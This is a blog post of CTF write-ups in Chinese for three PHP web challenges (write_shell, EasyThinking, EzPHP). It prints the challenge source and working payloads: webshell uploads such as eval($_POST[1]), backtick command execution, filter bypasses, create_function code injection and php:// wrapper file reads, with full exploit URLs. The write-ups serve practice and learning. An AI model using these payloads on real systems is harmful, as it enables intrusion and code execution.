[BUUCTF] 备赛刷题第四天

最新推荐文章于 2022-02-10 17:17:19 发布

J1A

最新推荐文章于 2022-02-10 17:17:19 发布

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分类专栏： CTF 文章标签： php 开发语言后端

本文链接：https://blog.csdn.net/Dannie01/article/details/121156776

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[红明谷CTF 2021]write_shell

刷题目录

源码：

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

write_shell

绕过下划线_ 绕过eval
不能有空格不能异或不能取反不能自增

利用echo+``

?action=upload&data=<?echo%09`ls%09/`?>

利用段标签 == echo

?action=upload&data=<?=`ls`?>

配合上查看路径+访问路径，会实时变化

?action=pwd

[GYCTF2020]EasyThinking

一开始看题目的时候就觉得应该是thinkphp

看到了sessionid，应该有可能是入口

后来不小心试错uri 就报错出了框架+版本thinkphp v6.0.0

拿着反序列化的payload没找到入口，key不是

发现一篇文章有同样的key点

但是32位.php一直构造不出来也访问不到file

原来要在注册以后登录的时候修改PHPSESSID

aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php

key=<?php eval($_POST[1]);phpinfo();?>

访问

/runtime/session/sess_aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php

正常姿势绕过disabled function

/readflag

[BJDCTF2020]EzPHP

源码：

 <?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

url编码绕过针对$_SERVER[‘QUERY_STRING’]的过滤

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

$_SERVER['QUERY_STRING'])是不会自动urldecode的，我们可以先urlencode一次再传入，这也就是绕过原理。

URL编码脚本

#python2
def payloadURL(payload):
    str = ""
    for i in payload:
        if (i != '='):
            str += "%"+i.encode('hex')
        else:
            str += i
    return str


payload = ""  # 填payload的地方

ans = payloadURL(payload)
print(ans)

绕过/^xxx$/类型的preg_match

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

/1nD3x.php?debu=aqua_is_cute\n
/1nD3x.php?debu=aqua_is_cute%00
/1nD3x.php?debu=aqua_is_cute%0a

%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a

绕过$_REQUEST

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
}

$_REQUEST方式接收请求是存在优先级别的，如果同时接受GET和POST的数据，默认情况下POST具有优先权，所以只需要在get的同时post数字即可。
这个优先级是由php的配置文件决定的，在php.ini中

; This directive determines which super global arrays are registered when PHP
; starts up. G,P,C,E & S are abbreviations for the following respective super
; globals: GET, POST, COOKIE, ENV and SERVER. There is a performance penalty
; paid for the registration of these arrays and because ENV is not as commonly
; used as the others, ENV is not recommended on productions servers. You
; can still get access to the environment variables through getenv() should you
; need to.
; Default Value: "EGPCS"
; Development Value: "GPCS"
; Production Value: "GPCS";
; http://php.net/variables-order
variables_order = "GPCS"

; This directive determines which super global data (G,P & C) should be
; registered into the super global array REQUEST. If so, it also determines
; the order in which that data is registered. The values for this directive
; are specified in the same manner as the variables_order directive,
; EXCEPT one. Leaving this value empty will cause PHP to use the value set
; in the variables_order directive. It does not mean it will leave the super
; globals array REQUEST empty.
; Default Value: None
; Development Value: "GP"
; Production Value: "GP"
; http://php.net/request-order
request_order = "GP"

这里是最致命的地方，所有的wp都不会告诉你还包含了$_COOKIE，我自己也忘记了，所以不管你怎么传payload，都会过不去这道waf

die('fxck you! I hate English!');

在这里插入图片描述 抓包或者f12删掉本地cookie就可以了

同时post传参

#同时post
debu=1

file_get_contents比较内容相同

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

一般来说可以用php://input或data://

php://input是将post过来的数据全部当做文件内容
data://有以下几种用法
- data://text/plain,<?php phpinfo()?>
- data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

payload：

/1nD3x.php?file=data://text/plain,debu_debu_aqua

/1nD3x.php?debu=aqua_is_cute\n&data://text/plain,debu_debu_aqua

/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a%26%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61

#同时post
debu=1&file=1

绕过sha1比较

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

如果sha1()的参数为数组，将会返回false，所以sha1(Array(xxx))==sha1(Array(yyy)))

shana[]=1&passwd[]=2

/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

参数可以不用都url编码，只有敏感词需要，所以可以随意构造

create_function()代码注入

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
    preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
    include "flag.php";
    $code('', $arg);
}

其中$code，$arg可控，自然想到create_function()

$myfunc = create_function('$a, $b', 'return $a+$b;');

相当于

function myfunc($a, $b){
    return $a+$b;
}

但是如果第二个参数没有限制的话，如$code=return $a+$b;}eval($_POST['cmd']);//，就变成

function myfunc($a, $b){
	return $a+$b;
}
eval($_POST['cmd']);//}

可执行任意代码

extract($_GET["flag"]);这里我们可以进行变量覆盖，从而掌控住arg变量与code变量。
同时根据上面的介绍我们可以通过必和符号来执行自己定义的函数：

&flag[arg]=}a();//&flag[code]=create_function

拼接过后就应该是：

function {}a();//}

这个a我们是可以随时改成其他的函数的。

但是此时很多函数都被禁用了，文件中包含了flag这个文件，利用get_defined_vars()将所有变量与值都进行输出，此时payload就为：

&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

就可以看到很多全局变量和值了

在这里插入图片描述
继续构造

get_defined_vars获取所有变量，配合require获得flag

过滤了include 我们可以用require
过滤了关键字，用base64编码绕过
cmVhMWZsNGcucGhw == rea1fl4g.php

flag[arg]=}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&flag[code]=create_function

/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}require(base64_de%63%6f%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

define+fopen()+fgets()读文件

没ban掉fopen()，可以fgets()读取文件，但是这个文件指针需要移动就不能读取完整文件，$被禁无法定义变量

define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r))；while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);

/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);%23

php://filter伪协议读源码+取反绕过

require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))

/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=;}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

payload:

GET:

/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);%23

POST:

debu=1&file=1

原题学习：

https://www.gem-love.com/ctf/770.html

J1A

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[BUUCTF] 备赛刷题第四天

[红明谷CTF 2021]write_shell源码<?phperror_reporting(0);highlight_file(__FILE__);function check($input){ if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){ // if(preg_match("/'| |_|=|php/",$input)){ die('hacker!!!'); }els
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